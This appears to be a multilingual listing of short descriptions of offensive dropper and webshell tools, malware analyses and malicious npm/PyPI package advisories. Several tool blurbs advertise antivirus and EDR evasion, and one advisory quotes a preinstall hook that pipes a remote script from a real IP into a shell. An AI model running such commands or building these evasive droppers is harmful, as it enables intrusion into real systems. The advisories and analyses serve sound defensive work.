Umbrella

엄브렐라 드로퍼 저작권 2017 Umbrella 작성자: Alisson Moretto - 4w4k3 Umbrella는 침투 테스트에 특화된 파일 드로퍼로, 대상 시스템에서 파일을 다운로드하고 exe의 이중 실행 없이 실행합니다. 임베드만으로 실행됩니다. 동일한 대상을 다시 공격하려면 대상 시스템에서 다음 폴더를 삭제해야 합니다: - C:\Users\Public\Libraries\Intel - 드로퍼가 해당 폴더의 존재 여부를 확인하여 수행할 작업을 결정하기 때문입니다. Twitter: @4w4k3Official 면책 조항:...

slopShell

slopShell php 웹쉘 사용법을 깜빡해서 얘기하지 못했네요. 자, 여기 있습니다. 이 쉘이 작동하려면 두 가지가 필요합니다. PHP 파일 업로드를 허용하는 피해자자신, 교육 환경에서와 이 웹쉘에 HTTP 요청을 보낼 방법클라이언트 스크립트가 이 쉘과 통신하는 100% 최고의 방법입니다. 커뮤니티의 모든 지원에 감사드립니다. 정말 큰 힘이 됩니다. 이제 이 쉘에 추가될 기능들입니다. 더욱 멋지게 만들기 위해. 상호 TLS Mutual TLS - 가능하다면 CA를 즉석에서 생성하는 기능 포함 더 정교한 드로퍼/쉘 자체 -...

RustyWater-ShellCode-Dropper

RustyWater ShellCode Dropper RustyWater は、Static Kitten グループ攻撃におけるメインペイロードであり、敵対的作戦全体のバックボーンを担っています。 RustyWater は Rust でコンパイルされた実行可能ファイル（偽の Cloudflare アイコンで reddit.exe として偽装）であり、RustyWater（または Archer RAT/RUSTRIC に関連）として知られ、プロセスインジェクションとレジストリベースの持続性を通じて強力な AV/EDR 回避を特徴としています。 1-アンチ分析 Reddit.exe...

Android-Projector-C2-Malware

안드로이드 프로젝터에 사전 설치된 C2 인프라 및 RAT 페이로드 기술 분석 보고서 — 보안 연구 영향을 받는 기기: Nonete예: Model HY260Pro와 같은 빔 브랜드의 여러 안드로이드 프로젝터아마도 Magcubic, Hotack, Huyukang 등 여러 제품도 포함, 이들 회사는 유사한 모델을 유통하며 이를 뒷받침하는 징후가 있음 칩셋 플랫폼: Allwinner H713 / sun50iw12p1 — 이 플랫폼의 모든 기기에 영향을 미칠 가능성 있음 분석 기간: 2026년 4월 11일–17일 분류: 사전 설치된 명...

DarkWidow

DarkWidow Windows를 대상으로 하는 사용자 정의 가능한 드로퍼 도구입니다. 감사의 말: 1. BlackHat Asia, 2024 - 도구 제안 요청 2. BlackHat USA, 2024 - 도구 제안 요청 3. BlackHat SecTor, 2024 - 도구 제안 요청 4. BlackHat Europe, 2024 - 도구 제안 요청 5. Wild West Hacking Fest 2024 - Arsenal Soumyadeep Da 일명 @SoumyadeepBas12님께 이 컨퍼런스에 지원하도록 격려해 주셔서 정말...

Sharperner

Sharperner Sharperner は、AES および XOR で難読化されたシェルコードを使用して .NET ドロッパーを生成する CSharp 製のツールです。生成された実行ファイルはシグネチャチェックを回避できる可能性がありますが、ヒューリスティックスキャンを回避できるかは確かではありません。 機能 PE バイナリ プロセス・ホローイング PPID スプーフィング ランダム生成された AES キーと IV 最終的なシェルコード、キー、IV はモールス信号に変換されます : .NET バイナリ AES + XOR 暗号化されたシェルコード APC プロセスインジェクション...

blenny

Blenny 是一款面向 Windows 的概念验证型载荷混淆工具，它可以将可执行载荷数据隐藏在可执行文件的图标中。其名称来源于剑齿鳚，这种鱼会模仿清洁鱼的行为和外貌，以捕食毫无防备的鱼类。 为什么？ 我已经记不清故事的具体经过，但一位名叫 retr0id（@DavidBuchanan314）的黑客提出了将载荷隐藏在可执行文件图标中的想法。由于 PNG 文件的种种特殊性质，再加上 Windows 图标文件可以包含 PNG 数据，我意识到可以相当轻松地实现这个想法，只是需要费些功夫。为此，我创建了 Facade 库——一个专门用于在 PNG 文件中生成载荷的库。...

Azure-App-Tools

Azure-App-Tools Azureアプリケーションで使用するツールのコレクション。 https://azure.microsoft.com/en-us/get-started/apps/ 前提条件 Azure PowerShell モジュール https://docs.microsoft.com/en-us/powershell/azure/install-az-ps?view=azps-3.8.0 例: 動的デバイスコード @MrUn1k0d3r によるオリジナルPoC...

CallstackSpoofingPOC

コールスタックスプーフィング + 間接システムコール POC このプロジェクトは、EDR回避に焦点を当てたPOCである、シンプルなC++製のセルフインジェクションドロッパーで構成されています。これを実装するために、コールスタックを隠すための Windows Thread Pooling と、NTDLLでのフッキングを回避するための 間接システムコール の使用を組み合わせました。 2023-10-08-23-22-35-Trim image image image image...

Dr0p1t-Framework

현재 유지보수 중이 아닙니다 다음 버전을 기다리세요 Dr0p1t-Framework 트로이 목마 드로퍼Dropper에 대해 들어보신 적이 있나요? 간단히 말해 드로퍼는 다른 악성코드를 다운로드하는 유형의 악성코드이며, Dr0p1t는 대부분의 AV를 우회하고 다양한 트릭저를 믿으세요 :D을 갖춘 은밀한 드로퍼를 만들 수 있는 기회를 제공합니다. ; 기능 + 생성된 실행 파일 속성: 같은 방식으로 생성된 다른 드로퍼에 비해 실행 파일 크기가 작습니다. 대상 시스템에서 실행 파일을 다운로드하고 조용히 실행합니다. 자체 파괴 기능:...

SpookFlare

SpookFlare SpookFlare는 보안 조치를 우회하는 다른 관점을 제공하며, 클라이언트 측 및 네트워크 측 탐지에서 엔드포인트 방어 대책을 우회할 수 있는 기회를 제공합니다. SpookFlare는 Meterpreter, Empire, Koadic 등을 위한 로더/드로퍼 생성기입니다. SpookFlare는 난독화, 인코딩, 런타임 코드 컴파일 및 문자 대체 기능을 갖추고 있습니다. 따라서 대상 시스템의 방어 대책을 마치 "배우기" 전까지는 보스처럼 우회할 수 있습니다. 난독화 인코딩 런타임 코드 컴파일 문자 대체 패치된...

Enigma

Enigma 멀티플랫폼 페이로드 드로퍼. 비디오 데모 클론 root@kitploit: git clone https://github.com/UndeadSec/Enigma.git 실행 root@kitploit: cd Enigma root@kitploit: python enigma.py or python3 enigma3.py 면책 조항 교육 목적으로만 사용하십시오 Enigma의 사용은 최종 사용자의 전적인 책임입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다. "면책. 어...

Dropper-GCleaner-C2-Infrastructure-Kernel-Driver-PowerShell-Conhost-Payload-Analysis

1. C2インフラストラクチャ – 耐障害性と冗長性を備えたサーバー Process Hackerのメモリ解析により、Dropper GCleanerがC2通信に使用するドメインの包括的なリストが明らかになりました。これらのドメインはさまざまなプラットフォーム（Scaleway、Render、Replitなど）でホストされており、堅牢で冗長性のあるインフラストラクチャを示しています。 主な観察結果: ホスティングプロバイダー: Scaleway scw.cloud、Render onrender.com、Replit repl.co など。 ドメイン:...

bro-shellshock

Bro 用 ShellShock 検出器 このスクリプトは、通称「ShellShock」と呼ばれる Bash の脆弱性（CVE-2014-6271）の悪用に成功した動作を検出します。攻撃を受けたホストの、実際の侵害や脆弱性を示す可能性のある挙動を監視している点で、既存のほとんどの検出方法よりも包括的です。 ホストが HTTP 経由で攻撃を受けているのが確認された場合、Bro はそのホストがドロッパーペイロードをダウンロードするか、ICMP ping...

MAL-2026-15969 Malicious code in array-frames (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dd9461945c1bccc858c52f79e13624b33fb8cdfc37c889de48907b8464779063 The npm package [email protected] advertises a trivial array chunking utility but ships an obfuscator.io-wrapped payload as its main module. On...

Malicious code in timeweave (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6c6450b478521f96973a556306ed36a1430407373bb1331e051faec0266e1e0d The package presents itself as a timezone/IANA cache utility but ships a manifest-driven Windows code-execution channel. updater.py defines...

MAL-2026-15630 Malicious code in mfafix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f10490485dfd11cdb9eeb6e29b104c0d70651d1d8853a339a7420a75d09d066 lib/cache.js contains a dropper hidden behind cover-story comments about a connection pool. On the first invocation of the exported initMFA flow whic...

Malicious code in mfafix (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4f10490485dfd11cdb9eeb6e29b104c0d70651d1d8853a339a7420a75d09d066 lib/cache.js contains a dropper hidden behind cover-story comments about a connection pool. On the first invocation of the exported initMFA flow whic...

Malicious code in mfacord (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e8426c0e4e80e0bd9839d8517e060bd923775b8a3e100aab57e18b4f47c970e On require'mfacord', index.js loads lib/cache.js, which on win32 decodes a hardcoded URL...

MAL-2026-15506 Malicious code in grafeno-logger (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6477042981913de82e89d0f0c3c5b1b278afd21c401922932eb8756427e1d413 [email protected] is a dropper disguised as a logging library. The package.json preinstall lifecycle hook runs curl -s 216.126.236.46/x.sh | sh vi...